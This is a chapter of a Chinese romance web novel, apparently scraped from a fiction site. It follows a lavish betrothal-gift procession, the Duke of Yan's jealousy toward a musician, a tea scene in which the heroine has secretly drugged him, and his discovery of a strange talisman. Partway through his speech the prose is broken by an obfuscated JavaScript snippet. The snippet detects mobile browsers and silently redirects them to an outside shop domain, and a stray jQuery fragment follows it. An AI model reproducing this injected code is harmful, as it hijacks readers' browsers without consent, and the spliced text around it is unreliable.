文趣网 > 其他小说 > 春闺梦恶人 > 29. 纳征礼
    “天爷!这是哪家在纳征?”

    “看那旗上的严字,是燕国公府!”

    “娘哩,聘雁就有十六对!”

    “这是多少台聘礼呀?一眼望不到头,怕是公主出降也不过如此吧!”

    豹子同佃户在庄子口看过热闹,便兴冲冲地去找闻鹊报信。

    “闻娘子,我还是第一天知晓,你未来夫婿竟是燕国公!”

    “两耳不闻窗外事,才好专心做功课。”闻鹊直接关了窗子,隔绝了那震天的锣鼓唢呐声响。

    师寒月笑着解围,对豹子招招手:“旁人提起燕国公都谈虎色变,你倒不同,像见了自家叔伯。”

    豹子满眼崇拜:“燕国公才不是他们口中的恶人呢!他早年在石州戍边,把攒下来的钱都捐给穷人家,明明是大善人!”

    “原有这般经历,”师寒月说着,意有所指道,“说来,你们家闻娘子也是心善的,这还真是桩好姻缘。”

    豹子点头:“可不是嘛,我方才远远瞧了燕国公一眼,他心善模样也好,与闻娘子登对极了。”

    “多嘴。”闻鹊蹙眉。

    师寒月笑道:“好好好,你面皮薄,我们不扰你。”

    说罢,他便拍拍豹子的肩,带着人往外走。

    刚离开院子没两步,两人便迎面撞上了严夔。

    “是燕国公!”豹子惊喜道。

    严夔目光落在师寒月脸上,杀气凛然。

    这个小倌儿怎么在这里?

    看样子还是刚刚从闻鹊的院落出来!

    昨夜那个荒唐的梦涌上脑海,严夔视线恶狠狠地在师寒月身上剜了一圈。

    整日在闻鹊身边晃悠,倚着拐杖还一副勾栏做派!能安什么好心!

    怒意登顶。

    严夔语气不善:“你不在烟花柳巷缩着,跑来她的庄子上做什么!”

    师寒月维持着得体的笑:“国公误会,我与闻娘子之间清清白白,来此只是修复古琴。”

    豹子不懂“大善人”燕国公怎么这么大火气,也解释道:“国公,师郎君不是歹人,先前京兆府和大理寺查封这处田庄,搜查时碰坏了闻娘子娘亲的收藏,闻娘子这才请他来修。”

    “如此,倒是便宜了你!”严夔咬牙切齿。

    师寒月何等玲珑的心思,一眼便看穿严夔症结所在。

    “国公,我与闻娘子只是寻常来往,绝无攀附之心。”

    他顿了顿,目光坦荡而自苦:“不瞒国公,我幼年沦落风尘,早早便被去了势。连男人都算不上,与闻娘子绝无可能。国公莫因我这卑贱之身,误了与闻娘子的姻缘才是。”

    严夔浑身一震。

    去,去了势?

    那昨夜闻鹊梦中的想象,就不是他......

    心中沸了整夜的酸醋倏地蒸干,取而代之的,是说不清道不明的复杂。

    严夔紧绷的怒颜松动,欲言又止片刻,终究只嗯一声,转身大步离去。

    豹子在旁边看得目瞪口呆:“师郎君,燕国公……他怎么了?”

    师寒月摇摇头:“你长大就懂了。”

    书房中,闻鹊心不在焉地翻着账册。

    窗外锣鼓尽歇,可那排场之大,至今仍在她耳畔嗡鸣。

    账册上的字迹看了三遍,什么也没记住。

    不多时,帘外传来阿淼的通报声。

    “娘子,燕国公到了。”

    闻鹊放下账册,不由得端正坐好:“让他进来。”

    竹帘掀开,严夔跨步而入。

    今日他一身玄色暗金纹圆领袍,革带皂靴,衬得他面容清俊朗阔,身姿颀长如松,久经沙场的野性掩在矜贵下,分外勾人。

    闻鹊目光在他领口处停了一瞬,心口微烫,又若无其事地移开眼。

    “来就来,怎么还大张旗鼓的?”

    像是逼婚......

    闻鹊腹诽着。

    五日不见,严夔看她的眼神炽热,恨不得将这几日的份都瞧回来才好:“赐婚后,六礼都是宫中代办,我混账怠慢了你,便想借此机会,把该给你的体面都补全。”

    闻鹊听着,眸光渐渐漫过凉色。

    他果然,对她还是愧疚更多。

    哪有什么真心?

    她早料到的。

    闻鹊讽刺地牵起唇角:“好,我收了,便算是答应严将军那日的提议。八月婚期前,我会认真考虑。”

    严夔没想到她今日竟一丝犹豫也无,眼中光芒大盛:“你真的应了我?”

    “只是答应彼此多了解一二,将军可别开心太早。”

    她笑意客套,语气疏淡,像在招待上门议事的佃户。

    严夔察觉到,心中的欢喜被削去大半。

    她还是有顾虑。

    严夔垂下眼,不想逼她太紧,道:“我知晓,你能给我这个机会,我便很知足了。”

    闻鹊当没听见,起身道:“将军一路受累,先喝杯茶吧。”

    严夔看着她冷淡的态度,心中酸涩。

    罢了。

    至少她答应了,还肯留他喝茶。

    他心里安慰着自己,应了一声好,在客座上坐下来。

    铜炉上的山泉沸了两滚,闻鹊持竹勺撇去浮沫,注入青瓷盏中,茶汤清碧,热气袅袅。

    严夔没想到闻鹊会为他亲手煎茶,一时受宠若惊,接过时什么也没想,仰头饮尽。

    闻鹊盯着他急匆匆滚动的喉结,莫名想笑:“喝这么急作甚,不怕烫,还不怕有毒么?”

    严夔认真道:“这是你亲手做的,哪怕是鸩酒,我也甘之如饴。”

    这人,说起情话来,也带着豁出命似的粗糙。

    闻鹊笑意微滞。

    她心跳快了快,指腹在袖中一下下蹭过瓷瓶的釉面,像在安抚,也像在压制。

    终究,理智占据上风。

    闻鹊捏紧瓶身,语气沉下来:“严将军可想好,我心思狭隘,你拿甜言蜜语来哄我,将来若做不到,是要付出代价的。”

    严夔郑重道:“不是甜言蜜语,你说的将来做不到,也不会有。”

    闻鹊杏眼中映着茶烟与窗光,看不出深浅。

    严夔望着她的眼睛,思绪回到昨夜那个梦。

    她依旧在拷问他,玩弄他,嫌弃他,他心境却不似从前。

    他不再认为那些是折辱,而是她在试探,在确认。

    确认他会不会逃。

    严夔沉默片刻,道:“闻鹊,我知道,现在我说多少遍真心,你都不会相信,但我不会因此退缩,也不会逼你靠近。”

    他说着,平日里锐利的眼竟也透出手足无措的笨拙。

    “我在男人堆里糙惯了,第一次对人动心,也不知道旁家男女间如何相处。我只想让你舒服些,在我面前,你不必勉强自己,我送你的东西,不喜欢尽管丢掉,我的问题,不想答便不答,哪怕是我这个人,不想理时

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17601338|204170||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    也不必讲情面。我会一直陪着你,等你愿意相信我。”

    茶烟在两人间袅袅升起,又被穿堂的风吹散。

    第一次有人对她说这番话,闻鹊呆住。

    似有陈旧的弦被轻轻波动,嗡鸣不断。

    她本想说自己有事要忙,就此离开,如今却说不出口了。

    严夔见她久久不言,又注意到她书案上堆积的账册,主动找起话来:“你近来都在看账吗?”

    闻鹊回过神来,点点头:“庄子查封时,大家乱作一团,很多事都没顾得上,我近半个月都会住在这里。”

    严夔找到机会:“那你忙的时候,我便来帮你研墨吧,定不会扰了你。”

    闻鹊抬眼看他。

    他神色坦然,没有半分窥探之意,还真只是单纯地想陪着她。

    但她方才说了谎。

    田庄上的账她早就理好了,现在看的,都是那些情报产业。这些产业明着看,不过是饭馆歌楼云云,但如今公主的手伸了进来,她便再不好托他人管理。

    尤其不能让严夔知晓。

    严夔若知晓她为公主做事,知晓公主与突厥有联系,还不得迁怒手撕了她!

    此刻该送客的,可......

    可她就是说不出口。

    罢了罢了。

    闻鹊犹豫许久,攥紧袖中的瓷瓶。

    这药他已经吃下去了。

    就算暴露又如何,届时送他去死就是。

    操劳数日,她留个俊俏的男人相陪有何不可!

    闻鹊赌气地想着,故作不在意道:“外头架子上有朱砂,忘了放在哪里了,你去帮我找来。”

    “好,你等我!”严夔听懂了她的暗示,登时绽出笑来,阔步往外间走去。

    闻鹊看着他走远,连忙将那些封了火漆的账册抽出来,塞进书案下层的暗格,又将剩下几本田庄进出的账本摊开,摆出正在核对的样子。

    外间数个紫檀木博古架,却无书香世家的死板规矩,处处透着少女的灵动活气。

    贵重的笔墨砚台与整齐的书匣旁,突兀又俏皮地挤着些格格不入的小物件。

    有用麦秆编成的蚱蜢,还有个竹制的针线篮,里面躺着块绣了一半的素色帕子,细细的银针还停在花蕊旁,像是主人的心事,刚起了个头,便被什么更要紧的事硬生生打断了。

    严夔心中柔软,却没有刻意过多窥探她的生活,寻到朱砂,正要转身回去,鼻尖忽然捕捉到一缕若有若无的香气。

    山茶花的味道。

    不是寻常的熏香或脂粉,似是什么活物一般,香得诡异。

    严夔脚步一顿。

    他莫名感到蹊跷,便循着香气找去,在架子旁的矮床上,看见了一只绣着彩蝶纹样的软枕。

    严夔以为香气源头在此,伸手拿起,又发现那香却淡了。

    反而是自己颈间爆发出浓烈的花香。

    是那枚平安符?!

    兄长所赠之物,怎会沾染上这般诡异的香气?

    严夔眼神一凛,狐疑着扯落穿就小囊的红绳,将囊中之物倒在掌心。

    陈旧的符箓连同一枚指腹大小的薄片掉落。

    那薄片形似蝶翼,通体呈半透明的墨绿色,其上还描着针尖大小的金色符文,暴露在光亮下,它仿佛还活着一般,正轻轻地翕动。

    这是什么邪物?又是谁放进去的?!

    严夔猛地攥紧手掌,目中迸寒。